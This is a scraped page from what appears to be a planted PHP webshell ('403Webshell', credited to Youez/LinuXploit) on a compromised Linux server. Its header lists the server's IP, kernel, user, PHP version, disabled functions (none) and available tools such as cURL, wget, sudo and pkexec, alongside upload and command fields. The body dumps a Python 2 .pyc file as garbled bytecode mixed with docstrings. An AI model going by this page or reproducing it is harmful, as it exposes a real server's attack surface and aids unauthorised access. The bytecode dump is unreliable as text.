403Webshell
Server IP : 103.4.122.14  /  Your IP : 216.73.216.103
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux cwp2.slnet.com.au 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : statewid ( 1251)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/future/types/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python2.7/site-packages/future/types/newobject.pyc
�
,�]c@s)dZdefd��YZdgZdS(s�
An object subclass for Python 2 that gives new-style classes written in the
style of Python 3 (with ``__next__`` and unicode-returning ``__str__`` methods)
the appropriate Python 2-style ``next`` and ``__unicode__`` methods for compatible.

Example use::

    from builtins import object

    my_unicode_str = u'Unicode string: \u5b54\u5b50'

    class A(object):
        def __str__(self):
            return my_unicode_str

    a = A()
    print(str(a))

    # On Python 2, these relations hold:
    assert unicode(a) == my_unicode_string
    assert str(a) == my_unicode_string.encode('utf-8')


Another example::

    from builtins import object

    class Upper(object):
        def __init__(self, iterable):
            self._iter = iter(iterable)
        def __next__(self):                 # note the Py3 interface
            return next(self._iter).upper()
        def __iter__(self):
            return self

    assert list(Upper('hello')) == list('HELLO')

t	newobjectcBsAeZdZd�Zd�Zd�Zd�Zd�ZgZRS(s�
    A magical object class that provides Python 2 compatibility methods::
        next
        __unicode__
        __nonzero__

    Subclasses of this class can merely define the Python 3 methods (__next__,
    __str__, and __bool__).
    cCs2t|d�r"t|�j|�Std��dS(Nt__next__snewobject is not an iterator(thasattrttypeRt	TypeError(tself((s:/usr/lib/python2.7/site-packages/future/types/newobject.pytnext3scCsWt|d�r't|�j|�}nt|�}t|t�rF|S|jd�SdS(Nt__str__sutf-8(RRRtstrt
isinstancetunicodetdecode(Rts((s:/usr/lib/python2.7/site-packages/future/types/newobject.pyt__unicode__8scCsHt|d�r"t|�j|�St|d�rDt|�j|�StS(Nt__bool__t__len__(RRRRtTrue(R((s:/usr/lib/python2.7/site-packages/future/types/newobject.pyt__nonzero__Ds
cCst|d�stS|j�S(Nt__int__(RtNotImplementedR(R((s:/usr/lib/python2.7/site-packages/future/types/newobject.pyt__long__SscCs
t|�S(s=
        Hook for the future.utils.native() function
        (tobject(R((s:/usr/lib/python2.7/site-packages/future/types/newobject.pyt
__native__ms(	t__name__t
__module__t__doc__RR
RRRt	__slots__(((s:/usr/lib/python2.7/site-packages/future/types/newobject.pyR)s						N(RRRt__all__(((s:/usr/lib/python2.7/site-packages/future/types/newobject.pyt<module>&sL

Youez - 2016 - github.com/yon3zu
LinuXploit